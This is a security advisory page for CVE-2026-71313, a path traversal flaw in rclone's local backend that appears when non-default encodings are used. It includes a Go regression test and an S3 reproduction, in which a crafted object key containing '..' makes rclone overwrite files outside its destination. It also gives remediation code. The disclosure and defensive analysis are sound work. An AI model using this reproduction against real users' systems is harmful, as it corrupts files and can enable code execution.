CVE-2026-71313: rclone Path Traversal Vulnerability

MODERATE
Advisory Identifier: GHSA-7p4m-qxvv-g567
CVSS 6.9
CWE-22
Published
Advisory Summary

CVE-2026-71313 is a MODERATE (CVSS 6.9) path traversal vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting rclone libraries in the Go ecosystem. The issue involves local encoding path traversal. Remediation is available by upgrading affected packages to version 1.75.0.

CVE-2026-71313 at a Glance

CVE Identifier CVE-2026-71313
GHSA Identifier GHSA-7p4m-qxvv-g567
Severity MODERATE
CVSS v3.1 Base Score 6.9
CWE Classification CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Affected Product rclone
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 6.9

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:N/I:H/A:L).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality None (C:N)
Integrity High (I:H)
Availability Low (A:L)

How to Fix CVE-2026-71313

To remediate this vulnerability, upgrade all affected rclone dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/rclone/rclone fixed: 1.75.0
Upgrade github.com/rclone/rclone to 1.75.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/rclone/rclone

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-71313, inspect your project dependencies for rclone:

inspect dependencies for github.com/rclone/rclone

Analyze the terminal output to locate any version of rclone in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.75.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In rclone, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The local backend relies on its configurable filename encoder to prevent remote filename data from becoming operating-system path syntax. If a local destination uses an encoding that omits `Dot`, such as `Slash`, `None`, or `Raw`, a remote object's standard-encoded `..` component is decoded into an actual `..` component. `backend/local.localPath` then passes the decoded name to `filepath.Join`, which resolves the component and produces a path outside the configured local root. An attacker who can create object names in a remote source that a victim copies or synchronizes to such a local destination can create or overwrite files outside the selected destination directory, with the permissions of the rclone process. The default local encoding includes `Dot` and is not affected by that exact path. This finding requires a non-default local encoding that preserves filesystem path syntax. On Windows, a second confirmed form uses a preserved backslash to turn a remote filename into a native `..\file` path even when the destination encoding still includes `Dot`. This is not merely an odd filename-conversion result. The local remote's configured root is the destination selected by the user, and ordinary backend operations are expected to remain within it. Rclone documents custom and `Raw` encodings as filename-conversion controls; it does not document them as an opt-out from destination confinement. The defect is that confinement depends on an encoding mask instead of an independent post-conversion path check. ## Affected Assets & Attack Surface ### Confirmed affected versions - `v1.51.0` through `v1.74.4` - Local development commit tested: `a0c09f1381ae93e2a9a33c529d170186c61ad058` - Public `master` inspected through commit `c99b2d11edb0986cd2b1190e9fa25a58a3f12661` (2026-07-23) `v1.51.0` introduced the configurable encoding option for the local backend. Encodings such as `None` or `Slash` could omit `Dot` from that version onward. The explicit `Raw` encoding was introduced later, in `v1.68.0`. ### Required destination configuration The destination is a local backend whose effective encoding does not safely encode `.` and `..` components. Examples include: ```text --local-encoding Slash --local-encoding None --local-encoding Raw ``` The first PoC below uses `Slash`. Default configurations are not affected because the platform-specific `encoder.OS` masks include `Dot`. On Windows, custom encodings that omit `BackSlash` can introduce an additional traversal form: an object-key component such as `..\marker.txt` can become a native path separator plus `..`, even if the encoding still contains `Dot`. The fix therefore should enforce containment after conversion to the native path format rather than only require the `Dot` flag. ### Attacker-controlled input The relevant input is an object name returned by a source backend. The confirmed source case is S3: - `backend/s3/s3.go:2554` converts raw object keys to rclone's standard path representation with `f.opt.Enc.ToStandardPath`. - A raw `..` component becomes the standard component `..`. - When the destination local encoder omits `Dot`, `FromStandardPath` decodes `..` back to `..`. Amazon S3 permits relative path components when their left-to-right cumulative count does not exceed the preceding non-relative components. Consequently, an object named: ```text tenant/../marker.txt ``` is valid. When the victim's source remote is rooted at `bucket/tenant/`, the relative object name becomes `../marker.txt` before standard encoding. A malicious S3-compatible endpoint can return equivalent keys without relying on Amazon S3. ### Reachable operations The unsafe path resolver is used throughout the local backend, including: - `backend/local/local.go:798` — `localPath` - `backend/local/local.go:803` — `Put` - `backend/local/local.go:979` — `Move` - `backend/local/local.go:1534` — `Object.Update` - `backend/local/local.go:1747` — `Object.Remove` - Local directory creation and object lookup operations that call `localPath` Normal copy and synchronization propagate the source name to the destination: - `fs/sync/sync.go:518` passes `src.Remote()` to `operations.Copy`. - `fs/operations/copy.go:390` uses that remote name for destination `Put` or `Update`. Commands that copy attacker-controlled source objects to a local destination are therefore in scope, including `copy`, `sync`, and `move`. ## Technical Root Cause Analysis Rclone represents backend filenames using its standard encoding. `lib/encoder/standard.go` defines `encoder.Standard` with `EncodeDot`, causing raw names equal to `.` or `..` to be represented by fullwidth characters: ```text . -> . .. -> .. ``` When a standard path is converted for a destination backend, `lib/encoder/encoder.go:1214-1240` performs the following transformation for every path component: ```go func FromStandardName(e Encoder, s string) string { if e == Standard { return s } return e.Encode(Standard.Decode(s)) } ``` For a destination encoding that omits `Dot`: 1. `Standard.Decode("..")` returns `".."`. 2. The destination encoder leaves `".."` unchanged. 3. `FromStandardPath` returns a path containing an actual parent-directory component. The local backend then constructs the native path without validating containment: ```go func (f *Fs) localPath(name string) string { return filepath.Join(f.root, filepath.FromSlash(f.opt.Enc.FromStandardPath(name))) } ``` `filepath.Join` cleans the resulting path. For example: ```text root: /tmp/destination name: ../marker.txt result: /tmp/marker.txt ``` `Put` creates an object from `src.Remote()`, and `Object.Update` eventually opens that resolved path using: ```go os.O_WRONLY | os.O_CREATE | os.O_TRUNC ``` There is no subsequent `filepath.Rel` check, anchored filesystem operation, or rejection of an absolute, volume-qualified, `.` or `..` result. The default encoder masks the defect because it re-encodes `..` as a literal fullwidth directory name. That is not a sufficient security boundary: the encoding is explicitly configurable, including an officially documented `Raw` value that disables conversion. The local backend contains an existing `os.Root` mechanism used while translating symlinks, but ordinary local writes do not use it. In the default non-`--links` mode, `mkdirAll`, `openFile`, rename, and remove operations use ordinary filesystem paths. ## Proof of Concept & Evidence ### Deterministic regression test Add the following test to the `backend/local` package. It requires no external storage service. It uses S3's actual default encoding mask to construct the same standard `Remote()` value that an S3 key with a relative `..` component produces. ```go package local import ( "bytes" "context" "os" "path/filepath" "strings" "testing" "time" "github.com/rclone/rclone/fs/config/configmap" "github.com/rclone/rclone/fs/object" "github.com/rclone/rclone/lib/encoder" "github.com/stretchr/testify/require" ) func TestLocalEncodingWithoutDotEscapesRoot(t *testing.T) { ctx := context.Background() outer := t.TempDir() // S3's default encoder converts a raw ".." object-key component // into rclone's standard fullwidth representation. s3Encoding := encoder.EncodeInvalidUtf8 | encoder.EncodeSlash | encoder.EncodeDot remote := s3Encoding.ToStandardPath("../marker.txt") require.NotEqual(t, "../marker.txt", remote) // The default local encoding includes Dot and keeps the path confined. safeRaw, err := NewFs(ctx, "safe", filepath.Join(outer, "safe"), configmap.Simple{"encoding": encoder.OS.String()}) require.NoError(t, err) safe := safeRaw.(*Fs) rel, err := filepath.Rel(safe.root, safe.localPath(remote)) require.NoError(t, err) require.False(t, rel == ".." || strings.HasPrefix(rel, ".."+string(filepath.Separator))) // Removing Dot converts the same component to a real "..". unsafeRaw, err := NewFs(ctx, "unsafe", filepath.Join(outer, "destination"), configmap.Simple{"encoding": "Slash"}) require.NoError(t, err) unsafe := unsafeRaw.(*Fs) // Place an existing file outside the configured destination. escaped := filepath.Join(filepath.Dir(unsafe.root), "marker.txt") require.NoError(t, os.WriteFile(escaped, []byte("original"), 0600)) payload := "attacker-controlled" src := object.NewStaticObjectInfo( remote, time.Now(), int64(len(payload)), true, nil, nil) _, err = unsafe.Put(ctx, bytes.NewBufferString(payload), src) require.NoError(t, err) got, err := os.ReadFile(escaped) require.NoError(t, err) require.Equal(t, payload, string(got)) } ``` Run: ```text go test ./backend/local -run '^TestLocalEncodingWithoutDotEscapesRoot$' -count=1 -v ``` Observed result against commit `a0c09f1381ae93e2a9a33c529d170186c61ad058`: ```text === RUN TestLocalEncodingWithoutDotEscapesRoot --- PASS: TestLocalEncodingWithoutDotEscapesRoot PASS ``` The test establishes both sides of the issue: - The default local encoding keeps the generated path under the root. - `encoding=Slash` causes `Put` to overwrite a pre-existing file outside the root. ### Confirmed Windows backslash variant A second regression test was run on Windows using the standard remote name: ```text ..\backslash-marker.txt ``` and a local destination configured with: ```text encoding = Slash,Dot ``` This mask retains `Dot`, so it is not vulnerable to the fullwidth-dot decoding sequence above, but it omits `BackSlash`. `FromStandardPath` consequently preserves the backslash; after native conversion, `filepath.Join` interprets it as a separator and resolves the preceding `..`. Calling `Put` overwrote a marker next to the destination root. The test passed on Windows/amd64 against commit `a0c09f138`. This variant demonstrates why rejecting only configurations that omit `Dot` is incomplete. The security check must run after conversion to the platform's native path representation. ### S3 command-line reproduction Perform this test only with a disposable bucket and temporary local paths. ```bash printf 'attacker-controlled\n' > payload.txt aws s3api put-object \ --bucket "$BUCKET" \ --key 'tenant/../rclone-traversal-marker.txt' \ --body payload.txt rm -rf /tmp/rclone-destination rm -f /tmp/rclone-traversal-marker.txt mkdir -p /tmp/rclone-destination rclone copy \ "s3remote:${BUCKET}/tenant/" \ /tmp/rclone-destination \ --local-encoding Slash \ -vv test ! -e /tmp/rclone-destination/rclone-traversal-marker.txt test -f /tmp/rclone-traversal-marker.txt grep -F 'attacker-controlled' /tmp/rclone-traversal-marker.txt ``` Expected result: ```text /tmp/rclone-traversal-marker.txt ``` is created outside: ```text /tmp/rclone-destination ``` The S3 key is rooted under the string prefix `tenant/`, so it is returned by a listing of that prefix. Rclone preserves its logical `..` component using standard encoding until the custom local destination encoder decodes it. ## Impact Assessment The direct impact is creation or overwrite of files outside the configured local destination as the rclone process user. Realistic consequences include: - Destruction or corruption of files accessible to the rclone account. - Modification of user startup files, application configuration, service data, or executable search paths. - Possible persistence or code execution in the rclone user's security context if the attacker can target a file that another component subsequently executes or loads. - Greater host impact when rclone runs as a privileged backup, synchronization, container, or system service account. Default local configurations are protected from the demonstrated `..` component by `Dot` encoding. The required non-default encoding materially reduces exploitability but does not make the behavior safe or expected: disabling filename conversion should cause unrepresentable names to fail, not reinterpret an object name as a path outside the selected destination. ## Remediation Guidance ### Enforce containment after native-path conversion The primary fix should be in the local backend, after `FromStandardPath` and `filepath.FromSlash` have produced the native path. Security must not depend on any particular encoding mask. Refactor `localPath`, or introduce a checked equivalent, so it can return an error. The check should: 1. Convert the standard remote name using the configured local encoding. 2. Convert separators to the native format. 3. Reject any non-empty result for which `filepath.IsLocal` is false. This rejects absolute, volume-qualified, and lexically escaping paths using platform-aware rules. 4. Join the result to `f.root`. 5. Calculate `filepath.Rel(f.root, candidate)` using the normalized `f.root`, not the original user-supplied root string. 6. Reject `rel == ".."`, any relative path beginning with `".." + filepath.Separator`, and any absolute relative result. Illustrative logic: ```go func (f *Fs) checkedLocalPath(remote string) (string, error) { native := filepath.FromSlash(f.opt.Enc.FromStandardPath(remote)) // Some root-level backend operations legitimately resolve the empty name. if native != "" && !filepath.IsLocal(native) { return "", fmt.Errorf("invalid local object path %q: not a local relative path", remote) } candidate := filepath.Join(f.root, native) rel, err := filepath.Rel(f.root, candidate) if err != nil { return "", fmt.Errorf("invalid local object path %q: %w", remote, err) } if filepath.IsAbs(rel) || rel == ".." || strings.HasPrefix(rel, ".."+string(filepath.Separator)) { return "", fmt.Errorf("local object path %q escapes the configured root", remote) } return candidate, nil } ``` This is illustrative rather than a complete patch. The implementation should account for the local backend's Windows UNC normalization and return an existing rclone path-validation error type if one is available. A naive string-prefix comparison must not be used because paths such as `/root-other` share a textual prefix with `/root`. `filepath.IsLocal` protects the decoded relative name, while the independent `filepath.Rel` check verifies the final candidate against the normalized root. Retaining both makes the intended invariant explicit. ### Apply the check to every local filesystem entry point The checked resolver must protect all operations that accept an `fs` remote name, not only `Put`. At minimum, review and update: - `NewObject` and object construction. - `Put`, `PutStream`, and `Update`. - `Mkdir`, `Rmdir`, and directory metadata operations. - `Move`, `DirMove`, and copy/rename helpers. - `Remove` and cleanup of failed or partial transfers. - Metadata and hash operations that resolve a remote name to a local path. If changing `localPath` to return an error is impractical, validate the decoded path before constructing an `Object` or `Directory` and ensure no public backend operation can reach the unchecked helper. ### Consider anchored filesystem operations The existing `os.Root` support in `backend/local/local.go` rejects paths that escape its root and may be reusable. Applying anchored operations to all local mutations would provide stronger protection against both lexical traversal and symlink races. This requires compatibility review: ordinary local copies currently may intentionally follow pre-existing destination symlinks when symlink translation is disabled. A lexical containment check can fix this finding without changing that behavior, whereas applying `os.Root` universally may intentionally prevent writes through symlinks that point outside the root.

CVE-2026-71313 Affected rclone Versions

1 component(s)
Fixed Versions:
1.75.0
Product / Package Ecosystem Affected Versions Fixed Version
github.com/rclone/rclone
Go
≥ 1.51.0
< 1.75.0
1.75.0

References

Frequently Asked Questions

What is CVE-2026-71313?
CVE-2026-71313 is a security vulnerability in rclone involving Local Encoding Path Traversal under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal').
Which rclone versions are affected?
Affected versions include releases prior to 1.75.0 across affected packages: github.com/rclone/rclone.
What version fixes CVE-2026-71313?
Upgrading to 1.75.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/rclone/rclone affected?
Yes, github.com/rclone/rclone is affected in releases prior to 1.75.0. Upgrade your dependency to 1.75.0 or later.
What is the CVSS score of CVE-2026-71313?
CVE-2026-71313 has a CVSS v3.1 base score of 6.9 (MODERATE) with vector string CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:N/I:H/A:L.
What CWE is associated with CVE-2026-71313?
CVE-2026-71313 is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.).
How can I check Go dependencies for CVE-2026-71313?
Run the dependency tree command: 'inspect dependencies for github.com/rclone/rclone'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-7p4m-qxvv-g567",
  "modified" : "2026-08-05T20:48:46Z",
  "published" : "2026-08-05T20:48:46Z",
  "aliases" : [ "CVE-2026-71313" ],
  "summary" : "rclone: Local Encoding Path Traversal",
  "details" : "## Summary\n\nThe local backend relies on its configurable filename encoder to prevent remote filename data from becoming operating-system path syntax. If a local destination uses an encoding that omits `Dot`, such as `Slash`, `None`, or `Raw`, a remote object's standard-encoded `..` component is decoded into an actual `..` component. `backend/local.localPath` then passes the decoded name to `filepath.Join`, which resolves the component and produces a path outside the configured local root.\n\nAn attacker who can create object names in a remote source that a victim copies or synchronizes to such a local destination can create or overwrite files outside the selected destination directory, with the permissions of the rclone process.\n\nThe default local encoding includes `Dot` and is not affected by that exact path. This finding requires a non-default local encoding that preserves filesystem path syntax. On Windows, a second confirmed form uses a preserved backslash to turn a remote filename into a native `..\\file` path even when the destination encoding still includes `Dot`.\n\nThis is not merely an odd filename-conversion result. The local remote's configured root is the destination selected by the user, and ordinary backend operations are expected to remain within it. Rclone documents custom and `Raw` encodings as filename-conversion controls; it does not document them as an opt-out from destination confinement. The defect is that confinement depends on an encoding mask instead of an independent post-conversion path check.\n\n## Affected Assets & Attack Surface\n\n### Confirmed affected versions\n\n- `v1.51.0` through `v1.74.4`\n- Local development commit tested: `a0c09f1381ae93e2a9a33c529d170186c61ad058`\n- Public `master` inspected through commit `c99b2d11edb0986cd2b1190e9fa25a58a3f12661` (2026-07-23)\n\n`v1.51.0` introduced the configurable encoding option for the local backend. Encodings such as `None` or `Slash` could omit `Dot` from that version onward. The explicit `Raw` encoding was introduced later, in `v1.68.0`.\n\n### Required destination configuration\n\nThe destination is a local backend whose effective encoding does not safely encode `.` and `..` components. Examples include:\n\n```text\n--local-encoding Slash\n--local-encoding None\n--local-encoding Raw\n```\n\nThe first PoC below uses `Slash`. Default configurations are not affected because the platform-specific `encoder.OS` masks include `Dot`.\n\nOn Windows, custom encodings that omit `BackSlash` can introduce an additional traversal form: an object-key component such as `..\\marker.txt` can become a native path separator plus `..`, even if the encoding still contains `Dot`. The fix therefore should enforce containment after conversion to the native path format rather than only require the `Dot` flag.\n\n### Attacker-controlled input\n\nThe relevant input is an object name returned by a source backend. The confirmed source case is S3:\n\n- `backend/s3/s3.go:2554` converts raw object keys to rclone's standard path representation with `f.opt.Enc.ToStandardPath`.\n- A raw `..` component becomes the standard component `..`.\n- When the destination local encoder omits `Dot`, `FromStandardPath` decodes `..` back to `..`.\n\nAmazon S3 permits relative path components when their left-to-right cumulative count does not exceed the preceding non-relative components. Consequently, an object named:\n\n```text\ntenant/../marker.txt\n```\n\nis valid. When the victim's source remote is rooted at `bucket/tenant/`, the relative object name becomes `../marker.txt` before standard encoding. A malicious S3-compatible endpoint can return equivalent keys without relying on Amazon S3.\n\n### Reachable operations\n\nThe unsafe path resolver is used throughout the local backend, including:\n\n- `backend/local/local.go:798` — `localPath`\n- `backend/local/local.go:803` — `Put`\n- `backend/local/local.go:979` — `Move`\n- `backend/local/local.go:1534` — `Object.Update`\n- `backend/local/local.go:1747` — `Object.Remove`\n- Local directory creation and object lookup operations that call `localPath`\n\nNormal copy and synchronization propagate the source name to the destination:\n\n- `fs/sync/sync.go:518` passes `src.Remote()` to `operations.Copy`.\n- `fs/operations/copy.go:390` uses that remote name for destination `Put` or `Update`.\n\nCommands that copy attacker-controlled source objects to a local destination are therefore in scope, including `copy`, `sync`, and `move`.\n\n## Technical Root Cause Analysis\n\nRclone represents backend filenames using its standard encoding. `lib/encoder/standard.go` defines `encoder.Standard` with `EncodeDot`, causing raw names equal to `.` or `..` to be represented by fullwidth characters:\n\n```text\n.   -> .\n..  -> ..\n```\n\nWhen a standard path is converted for a destination backend, `lib/encoder/encoder.go:1214-1240` performs the following transformation for every path component:\n\n```go\nfunc FromStandardName(e Encoder, s string) string {\n\tif e == Standard {\n\t\treturn s\n\t}\n\treturn e.Encode(Standard.Decode(s))\n}\n```\n\nFor a destination encoding that omits `Dot`:\n\n1. `Standard.Decode(\"..\")` returns `\"..\"`.\n2. The destination encoder leaves `\"..\"` unchanged.\n3. `FromStandardPath` returns a path containing an actual parent-directory component.\n\nThe local backend then constructs the native path without validating containment:\n\n```go\nfunc (f *Fs) localPath(name string) string {\n\treturn filepath.Join(f.root, filepath.FromSlash(f.opt.Enc.FromStandardPath(name)))\n}\n```\n\n`filepath.Join` cleans the resulting path. For example:\n\n```text\nroot:    /tmp/destination\nname:    ../marker.txt\nresult:  /tmp/marker.txt\n```\n\n`Put` creates an object from `src.Remote()`, and `Object.Update` eventually opens that resolved path using:\n\n```go\nos.O_WRONLY | os.O_CREATE | os.O_TRUNC\n```\n\nThere is no subsequent `filepath.Rel` check, anchored filesystem operation, or rejection of an absolute, volume-qualified, `.` or `..` result.\n\nThe default encoder masks the defect because it re-encodes `..` as a literal fullwidth directory name. That is not a sufficient security boundary: the encoding is explicitly configurable, including an officially documented `Raw` value that disables conversion.\n\nThe local backend contains an existing `os.Root` mechanism used while translating symlinks, but ordinary local writes do not use it. In the default non-`--links` mode, `mkdirAll`, `openFile`, rename, and remove operations use ordinary filesystem paths.\n\n## Proof of Concept & Evidence\n\n### Deterministic regression test\n\nAdd the following test to the `backend/local` package. It requires no external storage service. It uses S3's actual default encoding mask to construct the same standard `Remote()` value that an S3 key with a relative `..` component produces.\n\n```go\npackage local\n\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"strings\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/rclone/rclone/fs/config/configmap\"\n\t\"github.com/rclone/rclone/fs/object\"\n\t\"github.com/rclone/rclone/lib/encoder\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestLocalEncodingWithoutDotEscapesRoot(t *testing.T) {\n\tctx := context.Background()\n\touter := t.TempDir()\n\n\t// S3's default encoder converts a raw \"..\" object-key component\n\t// into rclone's standard fullwidth representation.\n\ts3Encoding := encoder.EncodeInvalidUtf8 | encoder.EncodeSlash | encoder.EncodeDot\n\tremote := s3Encoding.ToStandardPath(\"../marker.txt\")\n\trequire.NotEqual(t, \"../marker.txt\", remote)\n\n\t// The default local encoding includes Dot and keeps the path confined.\n\tsafeRaw, err := NewFs(ctx, \"safe\", filepath.Join(outer, \"safe\"),\n\t\tconfigmap.Simple{\"encoding\": encoder.OS.String()})\n\trequire.NoError(t, err)\n\tsafe := safeRaw.(*Fs)\n\trel, err := filepath.Rel(safe.root, safe.localPath(remote))\n\trequire.NoError(t, err)\n\trequire.False(t,\n\t\trel == \"..\" ||\n\t\t\tstrings.HasPrefix(rel, \"..\"+string(filepath.Separator)))\n\n\t// Removing Dot converts the same component to a real \"..\".\n\tunsafeRaw, err := NewFs(ctx, \"unsafe\", filepath.Join(outer, \"destination\"),\n\t\tconfigmap.Simple{\"encoding\": \"Slash\"})\n\trequire.NoError(t, err)\n\tunsafe := unsafeRaw.(*Fs)\n\n\t// Place an existing file outside the configured destination.\n\tescaped := filepath.Join(filepath.Dir(unsafe.root), \"marker.txt\")\n\trequire.NoError(t, os.WriteFile(escaped, []byte(\"original\"), 0600))\n\n\tpayload := \"attacker-controlled\"\n\tsrc := object.NewStaticObjectInfo(\n\t\tremote, time.Now(), int64(len(payload)), true, nil, nil)\n\n\t_, err = unsafe.Put(ctx, bytes.NewBufferString(payload), src)\n\trequire.NoError(t, err)\n\n\tgot, err := os.ReadFile(escaped)\n\trequire.NoError(t, err)\n\trequire.Equal(t, payload, string(got))\n}\n```\n\nRun:\n\n```text\ngo test ./backend/local -run '^TestLocalEncodingWithoutDotEscapesRoot$' -count=1 -v\n```\n\nObserved result against commit `a0c09f1381ae93e2a9a33c529d170186c61ad058`:\n\n```text\n=== RUN   TestLocalEncodingWithoutDotEscapesRoot\n--- PASS: TestLocalEncodingWithoutDotEscapesRoot\nPASS\n```\n\nThe test establishes both sides of the issue:\n\n- The default local encoding keeps the generated path under the root.\n- `encoding=Slash` causes `Put` to overwrite a pre-existing file outside the root.\n\n### Confirmed Windows backslash variant\n\nA second regression test was run on Windows using the standard remote name:\n\n```text\n..\\backslash-marker.txt\n```\n\nand a local destination configured with:\n\n```text\nencoding = Slash,Dot\n```\n\nThis mask retains `Dot`, so it is not vulnerable to the fullwidth-dot decoding sequence above, but it omits `BackSlash`. `FromStandardPath` consequently preserves the backslash; after native conversion, `filepath.Join` interprets it as a separator and resolves the preceding `..`. Calling `Put` overwrote a marker next to the destination root. The test passed on Windows/amd64 against commit `a0c09f138`.\n\nThis variant demonstrates why rejecting only configurations that omit `Dot` is incomplete. The security check must run after conversion to the platform's native path representation.\n\n### S3 command-line reproduction\n\nPerform this test only with a disposable bucket and temporary local paths.\n\n```bash\nprintf 'attacker-controlled\\n' > payload.txt\n\naws s3api put-object \\\n  --bucket \"$BUCKET\" \\\n  --key 'tenant/../rclone-traversal-marker.txt' \\\n  --body payload.txt\n\nrm -rf /tmp/rclone-destination\nrm -f /tmp/rclone-traversal-marker.txt\nmkdir -p /tmp/rclone-destination\n\nrclone copy \\\n  \"s3remote:${BUCKET}/tenant/\" \\\n  /tmp/rclone-destination \\\n  --local-encoding Slash \\\n  -vv\n\ntest ! -e /tmp/rclone-destination/rclone-traversal-marker.txt\ntest -f /tmp/rclone-traversal-marker.txt\ngrep -F 'attacker-controlled' /tmp/rclone-traversal-marker.txt\n```\n\nExpected result:\n\n```text\n/tmp/rclone-traversal-marker.txt\n```\n\nis created outside:\n\n```text\n/tmp/rclone-destination\n```\n\nThe S3 key is rooted under the string prefix `tenant/`, so it is returned by a listing of that prefix. Rclone preserves its logical `..` component using standard encoding until the custom local destination encoder decodes it.\n\n## Impact Assessment\n\nThe direct impact is creation or overwrite of files outside the configured local destination as the rclone process user.\n\nRealistic consequences include:\n\n- Destruction or corruption of files accessible to the rclone account.\n- Modification of user startup files, application configuration, service data, or executable search paths.\n- Possible persistence or code execution in the rclone user's security context if the attacker can target a file that another component subsequently executes or loads.\n- Greater host impact when rclone runs as a privileged backup, synchronization, container, or system service account.\n\nDefault local configurations are protected from the demonstrated `..` component by `Dot` encoding. The required non-default encoding materially reduces exploitability but does not make the behavior safe or expected: disabling filename conversion should cause unrepresentable names to fail, not reinterpret an object name as a path outside the selected destination.\n\n## Remediation Guidance\n\n### Enforce containment after native-path conversion\n\nThe primary fix should be in the local backend, after `FromStandardPath` and `filepath.FromSlash` have produced the native path. Security must not depend on any particular encoding mask.\n\nRefactor `localPath`, or introduce a checked equivalent, so it can return an error. The check should:\n\n1. Convert the standard remote name using the configured local encoding.\n2. Convert separators to the native format.\n3. Reject any non-empty result for which `filepath.IsLocal` is false. This rejects absolute, volume-qualified, and lexically escaping paths using platform-aware rules.\n4. Join the result to `f.root`.\n5. Calculate `filepath.Rel(f.root, candidate)` using the normalized `f.root`, not the original user-supplied root string.\n6. Reject `rel == \"..\"`, any relative path beginning with `\"..\" + filepath.Separator`, and any absolute relative result.\n\nIllustrative logic:\n\n```go\nfunc (f *Fs) checkedLocalPath(remote string) (string, error) {\n\tnative := filepath.FromSlash(f.opt.Enc.FromStandardPath(remote))\n\n\t// Some root-level backend operations legitimately resolve the empty name.\n\tif native != \"\" && !filepath.IsLocal(native) {\n\t\treturn \"\", fmt.Errorf(\"invalid local object path %q: not a local relative path\", remote)\n\t}\n\n\tcandidate := filepath.Join(f.root, native)\n\trel, err := filepath.Rel(f.root, candidate)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"invalid local object path %q: %w\", remote, err)\n\t}\n\tif filepath.IsAbs(rel) ||\n\t\trel == \"..\" ||\n\t\tstrings.HasPrefix(rel, \"..\"+string(filepath.Separator)) {\n\t\treturn \"\", fmt.Errorf(\"local object path %q escapes the configured root\", remote)\n\t}\n\treturn candidate, nil\n}\n```\n\nThis is illustrative rather than a complete patch. The implementation should account for the local backend's Windows UNC normalization and return an existing rclone path-validation error type if one is available.\n\nA naive string-prefix comparison must not be used because paths such as `/root-other` share a textual prefix with `/root`. `filepath.IsLocal` protects the decoded relative name, while the independent `filepath.Rel` check verifies the final candidate against the normalized root. Retaining both makes the intended invariant explicit.\n\n### Apply the check to every local filesystem entry point\n\nThe checked resolver must protect all operations that accept an `fs` remote name, not only `Put`. At minimum, review and update:\n\n- `NewObject` and object construction.\n- `Put`, `PutStream`, and `Update`.\n- `Mkdir`, `Rmdir`, and directory metadata operations.\n- `Move`, `DirMove`, and copy/rename helpers.\n- `Remove` and cleanup of failed or partial transfers.\n- Metadata and hash operations that resolve a remote name to a local path.\n\nIf changing `localPath` to return an error is impractical, validate the decoded path before constructing an `Object` or `Directory` and ensure no public backend operation can reach the unchecked helper.\n\n### Consider anchored filesystem operations\n\nThe existing `os.Root` support in `backend/local/local.go` rejects paths that escape its root and may be reusable. Applying anchored operations to all local mutations would provide stronger protection against both lexical traversal and symlink races.\n\nThis requires compatibility review: ordinary local copies currently may intentionally follow pre-existing destination symlinks when symlink translation is disabled. A lexical containment check can fix this finding without changing that behavior, whereas applying `os.Root` universally may intentionally prevent writes through symlinks that point outside the root.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:N/I:H/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/rclone/rclone"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.51.0"
      }, {
        "fixed" : "1.75.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.74.4"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/rclone/rclone/security/advisories/GHSA-7p4m-qxvv-g567"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/rclone/rclone/commit/6a69713864b1d8f6edbc03d8af735f9624576d6e"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/rclone/rclone"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/rclone/rclone/releases/tag/v1.75.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-05T20:48:46Z",
    "nvd_published_at" : null
  }
}